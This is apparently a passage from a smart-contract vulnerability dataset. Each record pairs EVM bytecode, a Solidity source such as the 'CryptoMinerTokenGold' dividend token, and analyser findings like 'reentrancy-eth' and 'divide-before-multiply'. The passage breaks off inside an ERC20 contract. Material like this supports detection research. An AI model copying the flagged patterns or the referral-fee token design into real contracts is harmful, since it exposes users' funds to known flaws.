0d55565b60008060006114aa611627565b90925090506114b982826114c0565b9250505090565b60006112df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611667565b600c541580156115125750600d54155b1561151957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154287611695565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157490876116f2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a39086611734565b6001600160a01b0389166000908152600260205260409020556115c581611793565b6115cf84836117dd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161491815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164282826114c0565b82101561165e57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116885760405162461bcd60e51b81526004016106269190611a25565b50600061121f8486611d70565b60008060008060008060008060006116b28a600c54600d54611801565b92509250925060006116c261149d565b905060008060006116d58e878787611856565b919e509c509a509598509396509194505050505091939550919395565b60006112df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b6000806117418385611cb3565b9050838110156112df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b600061179d61149d565b905060006117ab83836118a6565b306000908152600260205260409020549091506117c89082611734565b30600090815260026020526040902055505050565b6006546117ea90836116f2565b6006556007546117fa9082611734565b6007555050565b600080808061181b606461181589896118a6565b906114c0565b9050600061182e60646118158a896118a6565b90506000611846826118408b866116f2565b906116f2565b9992985090965090945050505050565b600080808061186588866118a6565b9050600061187388876118a6565b9050600061188188886118a6565b905060006118938261184086866116f2565b939b939a50919850919650505050505050565b6000826118b5575060006106ac565b60006118c18385611d92565b9050826118ce8583611d70565b146112df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b803561195b8161193b565b919050565b6000602080838503121561197357600080fd5b823567ffffffffffffffff8082111561198b57600080fd5b818501915085601f83011261199f57600080fd5b8135818111156119b1576119b1611925565b8060051b604051601f19603f830116810181811085821117156119d6576119d6611925565b6040529182528482019250838101850191888311156119f457600080fd5b938501935b82851015611a1957611a0a85611950565b845293850193928501926119f9565b98975050505050505050565b600060208083528351808285015260005b81811015611a5257858101830151858201604001528201611a36565b81811115611a64576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8d57600080fd5b8235611a988161193b565b946020939093013593505050565b600080600060608486031215611abb57600080fd5b8335611ac68161193b565b92506020840135611ad68161193b565b929592945050506040919091013590565b600060208284031215611af957600080fd5b81356112df8161193b565b8035801515811461195b57600080fd5b600060208284031215611b2657600080fd5b6112df82611b04565b600060208284031215611b4157600080fd5b5035919050565b60008060008060808587031215611b5e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8f57600080fd5b833567ffffffffffffffff80821115611ba757600080fd5b818601915086601f830112611bbb57600080fd5b813581811115611bca57600080fd5b8760208260051b8501011115611bdf57600080fd5b602092830195509350611bf59186019050611b04565b90509250925092565b60008060408385031215611c1157600080fd5b8235611c1c8161193b565b91506020830135611c2c8161193b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cac57611cac611c82565b5060010190565b60008219821115611cc657611cc6611c82565b500190565b600082821015611cdd57611cdd611c82565b500390565b600060208284031215611cf457600080fd5b81516112df8161193b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4f5784516001600160a01b031683529383019391830191600101611d2a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dac57611dac611c82565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b08d45e5c4919c2f84418b21de2de0932fd738a99530f3d6f7ffbe83678f1adf64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,595 |
0x3865f5b4ec91b5510a9658e6739a129736dfbf68
|
pragma solidity ^0.4.25;
/*
* https://minertokengold.me
*
* Crypto miner token Gold concept
*
* [✓] 3% Withdraw fee
* [✓] 8% Deposit fee
* [✓] 1% Token transfer
* [✓] 35% Referal link
*
*/
contract CryptoMinerTokenGold {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "Crypto Miner Token Gold";
string public symbol = "CMTG";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 8;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 3;
uint8 constant internal refferalFee_ = 35;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x608060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461011f57806306fdde031461017657806310d0ffdd1461020657806318160ddd146102475780632260937314610272578063313ce567146102b35780633ccfd60b146102e45780634b750334146102fb57806356d399e814610326578063688abbf7146103515780636b2f46321461039457806370a08231146103bf5780638620410b14610416578063949e8acd1461044157806395d89b411461046c578063a9059cbb146104fc578063e4849b3214610561578063e9fad8ee1461058e578063f088d547146105a5578063fdb5a03e146105ef575b61011c346000610606565b50005b34801561012b57600080fd5b50610160600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f4565b6040518082815260200191505060405180910390f35b34801561018257600080fd5b5061018b610a96565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cb5780820151818401526020810190506101b0565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023160048036038101908080359060200190929190505050610b34565b6040518082815260200191505060405180910390f35b34801561025357600080fd5b5061025c610b76565b6040518082815260200191505060405180910390f35b34801561027e57600080fd5b5061029d60048036038101908080359060200190929190505050610b80565b6040518082815260200191505060405180910390f35b3480156102bf57600080fd5b506102c8610bd3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f057600080fd5b506102f9610bd8565b005b34801561030757600080fd5b50610310610d7c565b6040518082815260200191505060405180910390f35b34801561033257600080fd5b5061033b610de4565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b5061037e600480360381019080803515159060200190929190505050610dea565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610e56565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e75565b6040518082815260200191505060405180910390f35b34801561042257600080fd5b5061042b610ebe565b6040518082815260200191505060405180910390f35b34801561044d57600080fd5b50610456610f26565b6040518082815260200191505060405180910390f35b34801561047857600080fd5b50610481610f3b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c15780820151818401526020810190506104a6565b50505050905090810190601f1680156104ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050857600080fd5b50610547600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fd9565b604051808215151515815260200191505060405180910390f35b34801561056d57600080fd5b5061058c600480360381019080803590602001909291905050506112fc565b005b34801561059a57600080fd5b506105a361154b565b005b6105d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b2565b6040518082815260200191505060405180910390f35b3480156105fb57600080fd5b506106046115c4565b005b600080600080600080600080600033975061062f6106288c600860ff16611738565b6064611773565b965061064961064288602360ff16611738565b6064611773565b9550610655878761178e565b94506106618b8861178e565b935061066c846117a7565b92506801000000000000000085029150600083118015610698575060065461069684600654611834565b115b15156106a357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff161415801561070c57508773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b80156107595750600254600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156107ef576107a7600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487611834565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061080a565b6107f98587611834565b945068010000000000000000850291505b600060065411156108755761082160065484611834565b60068190555060065468010000000000000000860281151561083f57fe5b0460076000828254019250508190555060065468010000000000000000860281151561086757fe5b04830282038203915061087d565b826006819055505b6108c6600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611834565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836007540203905080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508973ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426109b9610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a3829850505050505050505092915050565b600068010000000000000000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007540203811515610a8e57fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b2c5780601f10610b0157610100808354040283529160200191610b2c565b820191906000526020600020905b815481529060010190602001808311610b0f57829003601f168201915b505050505081565b600080600080610b52610b4b86600860ff16611738565b6064611773565b9250610b5e858461178e565b9150610b69826117a7565b9050809350505050919050565b6000600654905090565b6000806000806006548511151515610b9757600080fd5b610ba085611852565b9250610bba610bb384600360ff16611738565b6064611773565b9150610bc6838361178e565b9050809350505050919050565b601281565b6000806000610be76001610dea565b111515610bf357600080fd5b339150610c006000610dea565b9050680100000000000000008102600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d29573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b60008060008060006006541415610da1576402540be40064174876e800039350610dde565b610db2670de0b6b3a7640000611852565b9250610dcc610dc584600360ff16611738565b6064611773565b9150610dd8838361178e565b90508093505b50505090565b60025481565b60008033905082610e0357610dfe816109f4565b610e4e565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e4c826109f4565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060006006541415610ee3576402540be40064174876e800019350610f20565b610ef4670de0b6b3a7640000611852565b9250610f0e610f0784600860ff16611738565b6064611773565b9150610f1a8383611834565b90508093505b50505090565b600080339050610f3581610e75565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fd15780601f10610fa657610100808354040283529160200191610fd1565b820191906000526020600020905b815481529060010190602001808311610fb457829003601f168201915b505050505081565b600080600080600080610fea610f26565b111515610ff657600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054861115151561104757600080fd5b60006110536001610dea565b111561106257611061610bd8565b5b61107a61107387600160ff16611738565b6064611773565b9250611086868461178e565b915061109183611852565b905061109f6006548461178e565b6006819055506110ee600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761178e565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117a600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611834565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560075402600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160075402600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061128360075460065468010000000000000000840281151561127d57fe5b04611834565b6007819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b600080600080600080600061130f610f26565b11151561131b57600080fd5b339550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054871115151561136c57600080fd5b86945061137885611852565b935061139261138b85600360ff16611738565b6064611773565b925061139e848461178e565b91506113ac6006548661178e565b6006819055506113fb600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548661178e565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856007540201905080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600060065411156114d5576114ce6007546006546801000000000000000086028115156114c857fe5b04611834565b6007819055505b8573ffffffffffffffffffffffffffffffffffffffff167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442611518610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b600080339150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156115a6576115a5816112fc565b5b6115ae610bd8565b5050565b60006115be3483610606565b50919050565b6000806000806115d46001610dea565b1115156115e057600080fd5b6115ea6000610dea565b9250339150680100000000000000008302600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116db836000610606565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080600084141561174d576000915061176c565b828402905082848281151561175e57fe5b0414151561176857fe5b8091505b5092915050565b600080828481151561178157fe5b0490508091505092915050565b600082821115151561179c57fe5b818303905092915050565b6000806000670de0b6b3a764000064174876e8000291506006546402540be40061181d611817600654866402540be400600202020260026006540a60026402540be4000a02670de0b6b3a76400008a02670de0b6b3a76400006402540be40002600202026002890a0101016118fd565b8561178e565b81151561182657fe5b040390508092505050919050565b600080828401905083811015151561184857fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600654019150670de0b6b3a76400006118e6670de0b6b3a764000085036402540be400670de0b6b3a7640000868115156118a457fe5b046402540be4000264174876e8000103026002670de0b6b3a7640000876002890a038115156118cf57fe5b046402540be400028115156118e057fe5b0461178e565b8115156118ef57fe5b049050809350505050919050565b60008060026001840181151561190f57fe5b0490508291505b8181101561194257809150600281828581151561192f57fe5b040181151561193a57fe5b049050611916565b509190505600a165627a7a72305820e412b63615d7d93f61b4fe164c65aa94315cb049daf382674ac4d80d45be4e9c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,596 |
0x4eed0fa8de12d5a86517f214c2f11586ba2ed88d
|
/**
*Submitted for verification at Etherscan.io on 2021-05-13
*/
pragma solidity ^0.8.3;
// SPDX-License-Identifier: MIT
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 totalSupply_
) {
_name = name_;
_symbol = symbol_;
_totalSupply = totalSupply_;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
